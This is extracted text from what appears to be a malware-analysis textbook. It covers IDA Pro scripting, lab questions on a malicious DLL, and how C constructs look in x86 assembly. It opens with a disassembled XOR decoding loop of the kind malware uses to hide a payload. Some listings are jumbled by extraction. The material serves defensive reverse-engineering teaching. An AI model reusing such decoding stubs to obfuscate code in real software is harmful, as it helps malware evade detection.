00008390  db  1Bh
00008391  db  8Bh ; ï
00008392  db  1Bh
00008393  db  33h ; 3
00008394  db 0C9h ; +
00008395  db  80h ; Ç
00008396  db  33h ; 3
00008397  db  97h ; ù
00008398  db  43h ; C
00008399  db  41h ; A
0000839A  db  81h ; ü
0000839B  db 0F9h ; ·
0000839C  db    0
0000839D  db    7
0000839E  db    0
0000839F  db    0
000083A0  db  75h ; u
000083A1  db 0F3h ; =
000083A2  db 0C2h ; - 
000083A3  db  1Ch
000083A4  db  7Bh ; {
000083A5  db  16h
000083A6  db  7Bh ; {
000083A7  db  8Fh ; Å

00008384  db  28h ; (
00008385  db 0FCh ; n
00008386  db  10h
00008387  nop
00008388  nop
00008389  mov     ebx, eax
0000838B  add     ebx, 28h ; '('
0000838E  add     dword ptr [ebx], 1Bh
00008391  mov     ebx, [ebx]
00008393  xor     ecx, ecx
00008395
00008395 loc_8395:                         ; CODE XREF: seg000:000083A0j
00008395  xor     byte ptr [ebx], 97h 
00008398  inc     ebx
00008399  inc     ecx
0000839A  cmp     ecx, 700h
000083A0  jnz     short loc_8395
000083A2  retn    7B1Ch
000083A2 ; ----------------------------------000083A5  db  16h
000083A6  db  7Bh ; {
000083A7  db  8Fh ; Å
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#include <idc.idc>
static main(void){
      auto slotidx;
      slotidx = 1;
      MarkPosition(0x00403108, 0, 0, 0, slotidx + 0, "RIJNDAEL [S] [char]");
      MakeComm(PrevNotTail(0x00403109), "RIJNDAEL [S] [char]\nRIJNDAEL (AES): 

SBOX (also used in other ciphers).");

      MarkPosition(0x00403208, 0, 0, 0, slotidx + 1, "RIJNDAEL [S-inv] [char]");
      MakeComm(PrevNotTail(0x00403209), "RIJNDAEL [S-inv] [char]\nRIJNDAEL (AES): 

inverse SBOX (for decryption)");
}

Listing 5-5: IDC script generated by the PEiD KANAL plug-in

To load an IDC script, select FileScript File. The IDC script should be 
executed immediately, and a toolbar window should open with one button 
for editing and another for re-executing the script if needed.

Using IDAPython
IDAPython is fully integrated into the current version of IDA Pro, bringing 
the power and convenience of Python scripting to binary analysis. IDAPython 
exposes a significant portion of IDA Pro’s SDK functionality, allowing for far 
more powerful scripting than offered with IDC. IDAPython has three mod-
ules that provide access to the IDA API (idaapi), IDC interface (idc), and 
IDAPython utility functions (idautils).

IDAPython scripts are programs that use an effective address (EA) to per-
form the primary method of referencing. There are no abstract data types, 
and most calls take either an EA or a symbol name string. IDAPython has 
many wrapper functions around the core IDC functions.

Listing 5-6 shows a sample IDAPython script. The goal of this script is to 
color-code all call instructions in an idb to make them stand out more to the 
analyst. For example, ScreenEA is a common function that gets the location of 
the cursor. Heads is a function that will be used to walk through the defined 
elements, which is each instruction in this case. Once we’ve collected all of 
the function calls in functionCalls, we iterate through those instructions and 
use SetColor to set the color.

from idautils import *
from idc import *

heads = Heads(SegStart(ScreenEA()), SegEnd(ScreenEA()))

functionCalls = []

for i in heads:
  if GetMnem(i) == "call":
    functionCalls.append(i)
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print "Number of calls found: %d" % (len(functionCalls))

for i in functionCalls:
  SetColor(i, CIC_ITEM, 0xc7fdff)

Listing 5-6: Useful Python script to color all function calls

Using Commercial Plug-ins
After you have gained solid experience with IDA Pro, you should consider 
purchasing a few commercial plug-ins, such as the Hex-Rays Decompiler and 
zynamics BinDiff. The Hex-Rays Decompiler is a useful plug-in that converts 
IDA Pro disassembly into a human-readable, C-like pseudocode text. Read-
ing C-like code instead of disassembly can often speed up your analysis because 
it gets you closer to the original source code the malware author wrote.

zynamics BinDiff is a useful tool for comparing two IDA Pro databases. It 
allows you to pinpoint differences between malware variants, including new 
functions and differences between similar functions. One of its features is the 
ability to provide a similarity rating when you’re comparing two pieces of mal-
ware. We describe these IDA Pro extensions more extensively in Appendix B.

Conclusion

This chapter offered only a cursory exposure to IDA Pro. Throughout this 
book, we will use IDA Pro in our labs as we demonstrate interesting ways to 
use it.

As you’ve seen, IDA Pro’s ability to view disassembly is only one small 
aspect of its power. IDA Pro’s true power comes from its interactive ability, 
and we’ve discussed ways to use it to mark up disassembly to help perform 
analysis. We’ve also discussed ways to use IDA Pro to browse the assembly 
code, including navigational browsing, utilizing the power of cross-references, 
and viewing graphs, which all speed up the analysis process.
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L A B S
Lab 5-1

Analyze the malware found in the file Lab05-01.dll using only IDA Pro. The 
goal of this lab is to give you hands-on experience with IDA Pro. If you’ve 
already worked with IDA Pro, you may choose to ignore these questions and 
focus on reverse-engineering the malware.

Questions

1. What is the address of DllMain?

2. Use the Imports window to browse to gethostbyname. Where is the import 
located?

3. How many functions call gethostbyname?

4. Focusing on the call to gethostbyname located at 0x10001757, can you fig-
ure out which DNS request will be made?

5. How many local variables has IDA Pro recognized for the subroutine at 
0x10001656?

6. How many parameters has IDA Pro recognized for the subroutine at 
0x10001656?

7. Use the Strings window to locate the string \cmd.exe /c in the disassembly. 
Where is it located?

8. What is happening in the area of code that references \cmd.exe /c?

9. In the same area, at 0x100101C8, it looks like dword_1008E5C4 is a global 
variable that helps decide which path to take. How does the malware set 
dword_1008E5C4? (Hint: Use dword_1008E5C4’s cross-references.)

10. A few hundred lines into the subroutine at 0x1000FF58, a series of com-
parisons use memcmp to compare strings. What happens if the string compar-
ison to robotwork is successful (when memcmp returns 0)?

11. What does the export PSLIST do?

12. Use the graph mode to graph the cross-references from sub_10004E79. 
Which API functions could be called by entering this function? Based on 
the API functions alone, what could you rename this function?

13. How many Windows API functions does DllMain call directly? How many 
at a depth of 2?

14. At 0x10001358, there is a call to Sleep (an API function that takes one 
parameter containing the number of milliseconds to sleep). Looking 
backward through the code, how long will the program sleep if this code 
executes?

15. At 0x10001701 is a call to socket. What are the three parameters? 
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16. Using the MSDN page for socket and the named symbolic constants func-
tionality in IDA Pro, can you make the parameters more meaningful? 
What are the parameters after you apply changes?

17. Search for usage of the in instruction (opcode 0xED). This instruction is 
used with a magic string VMXh to perform VMware detection. Is that in use 
in this malware? Using the cross-references to the function that executes 
the in instruction, is there further evidence of VMware detection?

18. Jump your cursor to 0x1001D988. What do you find? 

19. If you have the IDA Python plug-in installed (included with the com-
mercial version of IDA Pro), run Lab05-01.py, an IDA Pro Python script 
provided with the malware for this book. (Make sure the cursor is at 
0x1001D988.) What happens after you run the script?

20. With the cursor in the same location, how do you turn this data into a 
single ASCII string?

21. Open the script with a text editor. How does it work?
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R E C O G N I Z I N G  C  C O D E  
C O N S T R U C T S  I N  A S S E M B L Y

In Chapter 4, we reviewed the x86 architecture and 
its most common instructions. But successful reverse 
engineers do not evaluate each instruction individually 
unless they must. The process is just too tedious, and 
the instructions for an entire disassembled program can number in the 
thousands or even millions. As a malware analyst, you must be able to obtain 
a high-level picture of code functionality by analyzing instructions as groups, 
focusing on individual instructions only as needed. This skill takes time to 
develop.

Let’s begin by thinking about how a malware author develops code to 
determine how to group instructions. Malware is typically developed using a 
high-level language, most commonly C. A code construct is a code abstraction 
level that defines a functional property but not the details of its implementa-
tion. Examples of code constructs include loops, if statements, linked lists, 
switch statements, and so on. Programs can be broken down into individual 
constructs that, when combined, implement the overall functionality of the 
program.

This chapter is designed to start you on your way with a discussion of 
more than ten different C code constructs. We’ll examine each construct in 
assembly, although the purpose of this chapter is to assist you in doing the 



reverse: Your goal as a malware analyst will be to go from disassembly to high-
level constructs. Learning in this reverse direction is often easier, because 
computer programmers are accustomed to reading and understanding 
source code.

This chapter will focus on how the most common and difficult constructs, 
such as loops and conditional statements, are compiled. After you’ve built a 
foundation with these, you’ll learn how to develop a high-level picture of code 
functionality quickly.

In addition to discussing the different constructs, we’ll also examine the 
differences between compilers, because compiler versions and settings can 
impact how a particular construct appears in disassembly. We’ll evaluate 
two different ways that switch statements and function calls can be compiled 
using different compilers. This chapter will dig fairly deeply into C code con-
structs, so the more you understand about C and programming in general, 
the more you’ll get out of it. For help with the C language, have a look at the 
classic The C Programming Language by Brian Kernighan and Dennis Ritchie 
(Prentice-Hall, 1988). Most malware is written in C, although it is sometimes 
written in Delphi and C++. C is a simple language with a close relationship to 
assembly, so it is the most logical place for a new malware analyst to start.

As you read this chapter, remember that your goal is to understand the 
overall functionality of a program, not to analyze every single instruction. 
Keep this in mind, and don’t get bogged down with the minutiae. Focus on 
the way programs work in general, not on how they do each particular thing.

Global vs. Local Variables

Global variables can be accessed and used by any function in a program. 
Local variables can be accessed only by the function in which they are 
defined. Both global and local variables are declared similarly in C, but 
they look completely different in assembly.

Following are two examples of C code for both global and local variables. 
Notice the subtle difference between the two. The global example, Listing 6-1, 
defines x and y variables outside the function. In the local example, Listing 6-2, 
the variables are defined within the function.

int x = 1;
int y = 2;

void main()
{
   x = x+y;
   printf("Total = %d\n", x);
}

Listing 6-1: A simple program with two global variables

void main()
{     
   int x = 1;
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   int y = 2;    

   x = x+y;
   printf("Total = %d\n", x);
}

Listing 6-2: A simple program with two local variables

The difference between the global and local variables in these C code 
examples is small, and in this case the program result is the same. But the dis-
assembly, shown in Listings 6-3 and 6-4, is quite different. The global variables 
are referenced by memory addresses, and the local variables are referenced 
by the stack addresses.

In Listing 6-3, the global variable x is signified by dword_40CF60, a memory 
location at 0x40CF60. Notice that x is changed in memory when eax is moved 
into dword_40CF60 at . All subsequent functions that utilize this variable will 
be impacted.

00401003        mov     eax, dword_40CF60
00401008        add     eax, dword_40C000
0040100E        mov     dword_40CF60, eax 
00401013        mov     ecx, dword_40CF60
00401019        push    ecx
0040101A        push    offset aTotalD  ;"total = %d\n"
0040101F        call    printf

Listing 6-3: Assembly code for the global variable example in Listing 6-1

In Listings 6-4 and 6-5, the local variable x is located on the stack at a 
constant offset relative to ebp. In Listing 6-4, memory location [ebp-4] is 
used consistently throughout this function to reference the local variable x. 
This tells us that ebp-4 is a stack-based local variable that is referenced only 
in the function in which it is defined.

00401006        mov     dword ptr [ebp-4], 0
0040100D        mov     dword ptr [ebp-8], 1
00401014        mov     eax, [ebp-4]
00401017        add     eax, [ebp-8]
0040101A        mov     [ebp-4], eax
0040101D        mov     ecx, [ebp-4]
00401020        push    ecx
00401021        push    offset aTotalD  ; "total = %d\n"
00401026        call    printf

Listing 6-4: Assembly code for the local variable example in Listing 6-2, without labeling

In Listing 6-5, x has been nicely labeled by IDA Pro Disassembler with 
the dummy name var_4. As we discussed in Chapter 5, dummy names can be 
renamed to meaningful names that reflect their function. Having this local 
variable named var_4 instead of -4 simplifies your analysis, because once you 
rename var_4 to x, you won’t need to track the offset -4 in your head through-
out the function.
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00401006        mov     [ebp+var_4], 0
0040100D        mov     [ebp+var_8], 1
00401014        mov     eax, [ebp+var_4]
00401017        add     eax, [ebp+var_8]
0040101A        mov     [ebp+var_4], eax
0040101D        mov     ecx, [ebp+var_4]
00401020        push    ecx
00401021        push    offset aTotalD  ; "total = %d\n"
00401026        call    printf

Listing 6-5: Assembly code for the local variable example shown in Listing 6-2, with labeling

Disassembling Arithmetic Operations

Many different types of math operations can be performed in C program-
ming, and we’ll present the disassembly of those operations in this section.

Listing 6-6 shows the C code for two variables and a variety of arithmetic 
operations. Two of these are the -- and ++ operations, which are used to dec-
rement by 1 and increment by 1, respectively. The % operation performs the 
modulo between the two variables, which is the remainder after performing a 
division operation.

int a = 0; 
int b = 1;
a = a + 11;
a = a - b;
a--; 
b++; 
b = a % 3;

Listing 6-6: C code with two variables and a variety of arithmetic

Listing 6-7 shows the assembly for the C code shown in Listing 6-6, which 
can be broken down to translate back to C.

00401006        mov     [ebp+var_4], 0
0040100D        mov     [ebp+var_8], 1
00401014        mov     eax, [ebp+var_4] 
00401017        add     eax, 0Bh
0040101A        mov     [ebp+var_4], eax 
0040101D        mov     ecx, [ebp+var_4]
00401020        sub     ecx, [ebp+var_8] 
00401023        mov     [ebp+var_4], ecx 
00401026        mov     edx, [ebp+var_4]
00401029        sub     edx, 1 
0040102C        mov     [ebp+var_4], edx 
0040102F        mov     eax, [ebp+var_8]
00401032        add     eax, 1 
00401035        mov     [ebp+var_8], eax 
00401038        mov     eax, [ebp+var_4]
0040103B        cdq 
0040103C        mov     ecx, 3
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00401041        idiv    ecx 
00401043        mov     [ebp+var_8], edx 

Listing 6-7: Assembly code for the arithmetic example in Listing 6-6

In this example, a and b are local variables because they are referenced 
by the stack. IDA Pro has labeled a as var_4 and b as var_8. First, var_4 and 
var_8 are initialized to 0 and 1, respectively. a is moved into eax , and then 
0x0b is added to eax, thereby incrementing a by 11. b is then subtracted 
from a . (The compiler decided to use the sub and add instructions  
and , instead of the inc and dec functions.)

The final five assembly instructions implement the modulo. When per-
forming the div or idiv instruction , you are dividing edx:eax by the operand 
and storing the result in eax and the remainder in edx. That is why edx is moved 
into var_8 .

Recognizing if Statements

Programmers use if statements to alter program execution based on certain 
conditions. if statements are common in C code and disassembly. We’ll exam-
ine basic and nested if statements in this section. Your goal should be to learn 
how to recognize different types of if statements.

Listing 6-8 displays a simple if statement in C with the assembly for this 
code shown in Listing 6-9. Notice the conditional jump jnz at . There must 
be a conditional jump for an if statement, but not all conditional jumps cor-
respond to if statements.

int x = 1; 
int y = 2;

if(x == y){
      printf("x equals y.\n");
}else{
      printf("x is not equal to y.\n");
}

Listing 6-8: C code if statement example

00401006        mov [ebp+var_8], 1
0040100D        mov [ebp+var_4], 2
00401014        mov eax, [ebp+var_8]
00401017        cmp eax, [ebp+var_4] 
0040101A        jnz short loc_40102B 
0040101C        push offset aXEqualsY_ ; "x equals y.\n"
00401021        call printf
00401026        add esp, 4
00401029        jmp short loc_401038 
0040102B loc_40102B:
0040102B        push offset aXIsNotEqualToY ; "x is not equal to y.\n"
00401030        call printf

Listing 6-9: Assembly code for the if statement example in Listing 6-8
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As you can see in Listing 6-9, a decision must be made before the code 
inside the if statement in Listing 6-8 will execute. This decision corresponds 
to the conditional jump (jnz) shown at . The decision to jump is made 
based on the comparison (cmp), which checks to see if var_4 equals var_8 
(var_4 and var_8 correspond to x and y in our source code) at . If the values 
are not equal, the jump occurs, and the code prints "x is not equal to y."; 
otherwise, the code continues the path of execution and prints "x equals y."

Notice also the jump (jmp) that jumps over the else section of the code 
at . It is important that you recognize that only one of these two code paths 
can be taken.

Analyzing Functions Graphically with IDA Pro
IDA Pro has a graphing tool that is useful in recognizing constructs, as shown 
in Figure 6-1. This feature is the default view for analyzing functions.

Figure 6-1 shows a graph of the assembly code example in Listing 6-9. 
As you can see, two different paths ( and ) of code execution lead to the 
end of the function, and each path prints a different string. Code path  will 
print "x equals y.", and  will print "x is not equal to y."

IDA Pro adds false  and true  labels at the decision points at the 
bottom of the upper code box. As you can imagine, graphing a function 
can greatly speed up the reverse-engineering process.

Recognizing Nested if Statements
Listing 6-10 shows C code for a nested if statement that is similar to Listing 6-8, 
except that two additional if statements have been added within the original 
if statement. These additional statements test to determine whether z is equal 
to 0.

int x = 0; 
int y = 1;
int z = 2;

if(x == y){
     if(z==0){
          printf("z is zero and x = y.\n");
     }else{
          printf("z is non-zero and x = y.\n");
     }
}else{
     if(z==0){
          printf("z zero and x != y.\n");
     }else{
          printf("z non-zero and x != y.\n");
     }
}

Listing 6-10: C code for a nested if statement
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Figure 6-1: Disassembly graph for the if statement example in Listing 6-9

Despite this minor change to the C code, the assembly code is more com-
plicated, as shown in Listing 6-11.

00401006        mov     [ebp+var_8], 0
0040100D        mov     [ebp+var_4], 1
00401014        mov     [ebp+var_C], 2
0040101B        mov     eax, [ebp+var_8]
0040101E        cmp     eax, [ebp+var_4]
00401021        jnz     short loc_401047 
00401023        cmp     [ebp+var_C], 0
00401027        jnz     short loc_401038 
00401029        push    offset aZIsZeroAndXY_ ; "z is zero and x = y.\n"
0040102E        call    printf
00401033        add     esp, 4
00401036        jmp     short loc_401045
00401038 loc_401038:                             
00401038        push    offset aZIsNonZeroAndX ; "z is non-zero and x = y.\n"
0040103D        call    printf
00401042        add     esp, 4

sub_401000:
push    ebp
mov     ebp, esp
sub     esp, 8
mov     [ebp+var_8], 1
mov     [ebp+var_4], 2
mov     eax, [ebp+var_8]
cmp     eax, [ebp+var_4]
jnz     short loc_40102B

push    offset aXEqualsY_; "x equals y.\n"
call    sub_40103E
add     esp, 4
jmp     short loc_401038

loc_40102B:             
push    offset aXIsNotEqualToY; "x is not equal to y.\n"
call    sub_40103E
add     esp, 4

loc_401038:
xor     eax, eax
mov     esp, ebp
pop     ebp
retn

false� true�
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00401045 loc_401045:                            
00401045        jmp     short loc_401069
00401047 loc_401047:                             
00401047        cmp     [ebp+var_C], 0
0040104B        jnz     short loc_40105C 
0040104D        push    offset aZZeroAndXY_ ; "z zero and x != y.\n"
00401052        call    printf
00401057        add     esp, 4
0040105A        jmp     short loc_401069
0040105C loc_40105C:                             
0040105C        push    offset aZNonZeroAndXY_ ; "z non-zero and x != y.\n"
00401061        call    printf00401061      

Listing 6-11: Assembly code for the nested if statement example shown in Listing 6-10

As you can see, three different conditional jumps occur. The first occurs 
if var_4 does not equal var_8 at . The other two occur if var_C is not equal to 
zero at  and .

Recognizing Loops

Loops and repetitive tasks are very common in all software, and it is impor-
tant that you are able to recognize them.

Finding for Loops
The for loop is a basic looping mechanism used in C programming. for loops 
always have four components: initialization, comparison, execution instruc-
tions, and the increment or decrement.

Listing 6-12 shows an example of a for loop.

int i;

for(i=0; i<100; i++)
{
   printf("i equals %d\n", i);
}

Listing 6-12: C code for a for loop

In this example, the initialization sets i to 0 (zero), and the comparison 
checks to see if i is less than 100. If i is less than 100, the printf instruction 
will execute, the increment will add 1 to i, and the process will check to see 
if i is less than 100. These steps will repeat until i is greater than or equal 
to 100.

In assembly, the for loop can be recognized by locating the four compo-
nents—initialization, comparison, execution instructions, and increment/
decrement. For example, in Listing 6-13,  corresponds to the initialization 
step. The code between  and  corresponds to the increment that is ini-
tially jumped over at  with a jump instruction. The comparison occurs at , 
and at , the decision is made by the conditional jump. If the jump is not 
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taken, the printf instruction will execute, and an unconditional jump occurs 
at , which causes the increment to occur.

00401004        mov     [ebp+var_4], 0 
0040100B        jmp     short loc_401016 
0040100D loc_40100D:
0040100D        mov     eax, [ebp+var_4] 
00401010        add     eax, 1
00401013        mov     [ebp+var_4], eax 
00401016 loc_401016:
00401016        cmp     [ebp+var_4], 64h 
0040101A        jge     short loc_40102F 
0040101C        mov     ecx, [ebp+var_4]
0040101F        push    ecx
00401020        push    offset aID  ; "i equals %d\n"
00401025        call    printf
0040102A        add     esp, 8
0040102D        jmp     short loc_40100D 

Listing 6-13: Assembly code for the for loop example in Listing 6-12

A for loop can be recognized using IDA Pro’s graphing mode, as shown 
in Figure 6-2.

Figure 6-2: Disassembly graph for the for loop example in Listing 6-13

sub_401000:
push    ebp
mov     ebp, esp
push    ecx
mov     [ebp+var_4], 0
jmp     short loc_401016

loc_401016:
cmp     [ebp+var_4], 64h
jge     short loc_40102F

mov     ecx, [ebp+var_4]
push    ecx
push    offset aIEqualsD; "i equals %d\n"
call    sub_401035
add     esp, 8
jmp     short loc_40100D

loc_40100D:
mov     eax, [ebp+var_4]
add     eax, 1
mov     [ebp+var_4], eax

loc_40102F:
xor     eax, eax
mov     esp, ebp
pop     ebp
retn

false true
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In the figure, the upward pointing arrow after the increment code indi-
cates a loop. These arrows make loops easier to recognize in the graph view 
than in the standard disassembly view. The graph displays five boxes: The top 
four are the components of the for loop (initialization, comparison, execu-
tion, and increment, in that order). The box on the bottom right is the func-
tion epilogue, which we described in Chapter 4 as the portion of a function 
responsible for cleaning up the stack and returning.

Finding while Loops
The while loop is frequently used by malware authors to loop until a condi-
tion is met, such as receiving a packet or command. while loops look similar 
to for loops in assembly, but they are easier to understand. The while loop in 
Listing 6-14 will continue to loop until the status returned from checkResult 
is 0.

int status=0;
int result = 0;

while(status == 0){
     result = performAction();
     status = checkResult(result);
}

Listing 6-14: C code for a while loop

The assembly code in Listing 6-15 looks similar to the for loop, except 
that it lacks an increment section. A conditional jump occurs at  and an 
unconditional jump at , but the only way for this code to stop executing 
repeatedly is for that conditional jump to occur.

00401036        mov     [ebp+var_4], 0
0040103D        mov     [ebp+var_8], 0
00401044 loc_401044:
00401044        cmp     [ebp+var_4], 0
00401048        jnz     short loc_401063 
0040104A        call    performAction
0040104F        mov     [ebp+var_8], eax
00401052        mov     eax, [ebp+var_8]
00401055        push    eax
00401056        call    checkResult
0040105B        add     esp, 4
0040105E        mov     [ebp+var_4], eax
00401061        jmp     short loc_401044 

Listing 6-15: Assembly code for the while loop example in Listing 6-14
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Understanding Function Call Conventions

In Chapter 4, we discussed how the stack and the call instruction are used 
for function calls. Function calls can appear differently in assembly code, 
and calling conventions govern the way the function call occurs. These 
conventions include the order in which parameters are placed on the stack 
or in registers, and whether the caller or the function called (the callee) is 
responsible for cleaning up the stack when the function is complete.

The calling convention used depends on the compiler, among other 
factors. There are often subtle differences in how compilers implement 
these conventions, so it can be difficult to interface code that is compiled 
by different compilers. However, you need to follow certain conventions 
when using the Windows API, and these are uniformly implemented for 
compatibility (as discussed in Chapter 7).

We will use the pseudocode in Listing 6-16 to describe each of the calling 
conventions.

int test(int x, int y, int z);
int a, b, c, ret;

ret = test(a, b, c);

Listing 6-16: Pseudocode for a function call

The three most common calling conventions you will encounter are 
cdecl, stdcall, and fastcall. We discuss the key differences between them in 
the following sections.

NOTE Although the same conventions can be implemented differently between compilers, we’ll 
focus on the most common ways they are used.

cdecl
cdecl is one of the most popular conventions and was described in Chapter 4 
when we introduced the stack and function calls. In cdecl, parameters are 
pushed onto the stack from right to left, the caller cleans up the stack when 
the function is complete, and the return value is stored in EAX. Listing 6-17 
shows an example of what the disassembly would look like if the code in List-
ing 6-16 were compiled to use cdecl.

push c
push b
push a
call test
add esp, 12
mov ret, eax 

Listing 6-17: cdecl function call
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Notice in the highlighted portion that the stack is cleaned up by the 
caller. In this example, the parameters are pushed onto the stack from right 
to left, beginning with c.

stdcall
The popular stdcall convention is similar to cdecl, except stdcall requires the 
callee to clean up the stack when the function is complete. Therefore, the add 
instruction highlighted in Listing 6-17 would not be needed if the stdcall 
convention were used, since the function called would be responsible for 
cleaning up the stack.

The test function in Listing 6-16 would be compiled differently under 
stdcall, because it must be concerned with cleaning up the stack. Its epilogue 
would need to take care of the cleanup.

stdcall is the standard calling convention for the Windows API. Any code 
calling these API functions will not need to clean up the stack, since that’s 
the responsibility of the DLLs that implement the code for the API function.

fastcall
The fastcall calling convention varies the most across compilers, but it gener-
ally works similarly in all cases. In fastcall, the first few arguments (typically 
two) are passed in registers, with the most commonly used registers being 
EDX and ECX (the Microsoft fastcall convention). Additional arguments 
are loaded from right to left, and the calling function is usually responsible 
for cleaning up the stack, if necessary. It is often more efficient to use fastcall 
than other conventions, because the code doesn’t need to involve the stack 
as much.

Push vs. Move
In addition to using the different calling conventions described so far, com-
pilers may also choose to use different instructions to perform the same 
operation, usually when the compiler decides to move rather than push 
things onto the stack. Listing 6-18 shows a C code example of a function 
call. The function adder adds two arguments and returns the result. The 
main function calls adder and prints the result using printf.

int adder(int a, int b)
{
   return a+b;
}

void main()
{
   int x = 1; 
   int y = 2;
     
   printf("the function returned the number %d\n", adder(x,y));
} 

Listing 6-18: C code for a function call
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The assembly code for the adder function is consistent across compil-
ers and is displayed in Listing 6-19. As you can see, this code adds arg_0 to 
arg_4 and stores the result in EAX. (As discussed in Chapter 4, EAX stores the 
return value.)

00401730        push    ebp
00401731        mov     ebp, esp
00401733        mov     eax, [ebp+arg_0]
00401736        add     eax, [ebp+arg_4]
00401739        pop     ebp
0040173A        retn

Listing 6-19: Assembly code for the adder function in Listing 6-18

Table 6-1 displays different calling conventions used by two different 
compilers: Microsoft Visual Studio and GNU Compiler Collection (GCC). 
On the left, the parameters for adder and printf are pushed onto the stack 
before the call. On the right, the parameters are moved onto the stack before 
the call. You should be prepared for both types of calling conventions, because 
as an analyst, you won’t have control over the compiler. For example, one 
instruction on the left does not correspond to any instruction on the right. 
This instruction restores the stack pointer, which is not necessary on the 
right because the stack pointer is never altered.

NOTE Remember that even when the same compiler is used, there can be differences in calling 
conventions depending on the various settings and options.

Analyzing switch Statements

switch statements are used by programmers (and malware authors) to make a 
decision based on a character or integer. For example, backdoors commonly 
select from a series of actions using a single byte value. switch statements are 
compiled in two common ways: using the if style or using jump tables.

Table 6-1: Assembly Code for a Function Call with Two Different Calling Conventions

Visual Studio version GCC version

00401746   mov     [ebp+var_4], 1
0040174D   mov     [ebp+var_8], 2
00401754   mov     eax, [ebp+var_8]
00401757   push    eax
00401758   mov     ecx, [ebp+var_4]
0040175B   push    ecx
0040175C   call    adder
00401761   add     esp, 8
00401764   push    eax
00401765   push    offset TheFunctionRet
0040176A   call    ds:printf

00401085    mov     [ebp+var_4], 1
0040108C    mov     [ebp+var_8], 2
00401093    mov     eax, [ebp+var_8]
00401096    mov     [esp+4], eax
0040109A    mov     eax, [ebp+var_4]
0040109D    mov     [esp], eax
004010A0    call    adder

004010A5    mov     [esp+4], eax
004010A9    mov [esp], offset TheFunctionRet
004010B0    call    printf
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If Style
Listing 6-20 shows a simple switch statement that uses the variable i. Depending 
on the value of i, the code under the corresponding case value will be executed.

switch(i)
{
   case 1:
      printf("i = %d", i+1);
      break;
   case 2:
      printf("i = %d", i+2);
      break;
   case 3:
      printf("i = %d", i+3);
      break;
   default:
      break;
}

Listing 6-20: C code for a three-option switch statement

This switch statement has been compiled into the assembly code shown 
in Listing 6-21. It contains a series of conditional jumps between  and . 
The conditional jump determination is made by the comparison that occurs 
directly before each jump.

The switch statement has three options, shown at , , and . These 
code sections are independent of each other because of the unconditional 
jumps to the end of the listing. (You’ll probably find that switch statements 
are easier to understand using the graph shown in Figure 6-3.)

00401013        cmp     [ebp+var_8], 1
00401017        jz      short loc_401027 
00401019        cmp     [ebp+var_8], 2
0040101D        jz      short loc_40103D
0040101F        cmp     [ebp+var_8], 3
00401023        jz      short loc_401053
00401025        jmp     short loc_401067 
00401027 loc_401027:
00401027        mov     ecx, [ebp+var_4] 
0040102A        add     ecx, 1
0040102D        push    ecx
0040102E        push    offset unk_40C000 ; i = %d
00401033        call    printf
00401038        add     esp, 8
0040103B        jmp     short loc_401067
0040103D loc_40103D:
0040103D        mov     edx, [ebp+var_4] 
00401040        add     edx, 2
00401043        push    edx
00401044        push    offset unk_40C004 ; i = %d
00401049        call    printf
0040104E        add     esp, 8
00401051        jmp     short loc_401067
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00401053 loc_401053:
00401053        mov     eax, [ebp+var_4] 
00401056        add     eax, 3
00401059        push    eax
0040105A        push    offset unk_40C008 ; i = %d
0040105F        call    printf
00401064        add     esp, 8

Listing 6-21: Assembly code for the switch statement example in Listing 6-20

Figure 6-3 breaks down each of the switch options by splitting up the code 
to be executed from the next decision to be made. Three of the boxes in the 
figure, labeled , , and , correspond directly to the case statement’s three 
different options. Notice that all of these boxes terminate at the bottom box, 
which is the end of the function. You should be able to use this graph to see 
the three checks the code must go through when var_8 is greater than 3.

From this disassembly, it is difficult, if not impossible, to know whether 
the original code was a switch statement or a sequence of if statements, 
because a compiled switch statement looks like a group of if statements—
both can contain a bunch of cmp and Jcc instructions. When performing your 
disassembly, you may not always be able to get back to the original source 
code, because there may be multiple ways to represent the same code con-
structs in assembly, all of which are valid and equivalent.

Jump Table
The next disassembly example is commonly found with large, contiguous 
switch statements. The compiler optimizes the code to avoid needing to make 
so many comparisons. For example, if in Listing 6-20 the value of i were 3, 
three different comparisons would take place before the third case was exe-
cuted. In Listing 6-22, we add one case to Listing 6-20 (as you can see by com-
paring the listings), but the assembly code generated is drastically different.

switch(i)
{
   case 1:
      printf("i = %d", i+1);
      break;
   case 2:
      printf("i = %d", i+2);
      break;
   case 3:
      printf("i = %d", i+3);
      break;
   case 4:
      printf("i = %d", i+3);
      break;
   default:
      break;
}

Listing 6-22: C code for a four-option switch statement
Recogniz ing C Code Cons t ruc ts  in Assembly 123



Figure 6-3: Disassembly graph of the if style switch statement example in Listing 6-21

sub_401000:
push    ebp
mov     ebp, esp
sub     esp, 8
mov     [ebp+var_4], 3
mov     eax, [ebp+var_4]
mov     [ebp+var_8], eax
cmp     [ebp+var_8], 1
jz      short loc_401027

00401019:
cmp     [ebp+var_8], 2
jz      short loc_40103D

0040101F:
cmp     [ebp+var_8], 3
jz      short loc_401053

00401025:
jmp     short loc_401067

loc_401067:
xor     eax, eax
mov     esp, ebp
pop     ebp
retn

false true

true false

true false

loc_401027:
mov     ecx, [ebp+var_4]
add     ecx, 1
push    ecx
push    offset aID    ; "i = %d"
call    sub_40106D
add     esp, 8
jmp     short loc_401067

�

loc_40103D:
mov     edx, [ebp+var_4]
add     edx, 2
push    edx
push    offset aID_0    ; "i = %d"
call    sub_40106D
add     esp, 8
jmp     short loc_401067

�

loc_401053:
mov     eax, [ebp+var_4]
add     eax, 3
push    eax
push    offset aID_1    ; "i = %d"
call    sub_40106D
add     esp, 8

�
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The more efficient assembly code in Listing 6-23 uses a jump table, shown 
at , which defines offsets to additional memory locations. The switch vari-
able is used as an index into the jump table.

In this example, ecx contains the switch variable, and 1 is subtracted from 
it in the first line. In the C code, the switch table range is 1 through 4, and 
the assembly code must adjust it to 0 through 3 so that the jump table can be 
properly indexed. The jump instruction at  is where the target is based on 
the jump table.

In this jump instruction, edx is multiplied by 4 and added to the base of 
the jump table (0x401088) to determine which case code block to jump to. It 
is multiplied by 4 because each entry in the jump table is an address that is 
4 bytes in size.

00401016        sub     ecx, 1
00401019        mov     [ebp+var_8], ecx
0040101C        cmp     [ebp+var_8], 3
00401020        ja      short loc_401082
00401022        mov     edx, [ebp+var_8]
00401025        jmp     ds:off_401088[edx*4] 
0040102C loc_40102C:
              ...
00401040        jmp     short loc_401082
00401042 loc_401042:
              ...
00401056        jmp     short loc_401082
00401058 loc_401058:
              ...
0040106C        jmp     short loc_401082
0040106E loc_40106E:
              ...
00401082 loc_401082:          
00401082        xor     eax, eax
00401084        mov     esp, ebp
00401086        pop     ebp
00401087        retn
00401087 _main   endp
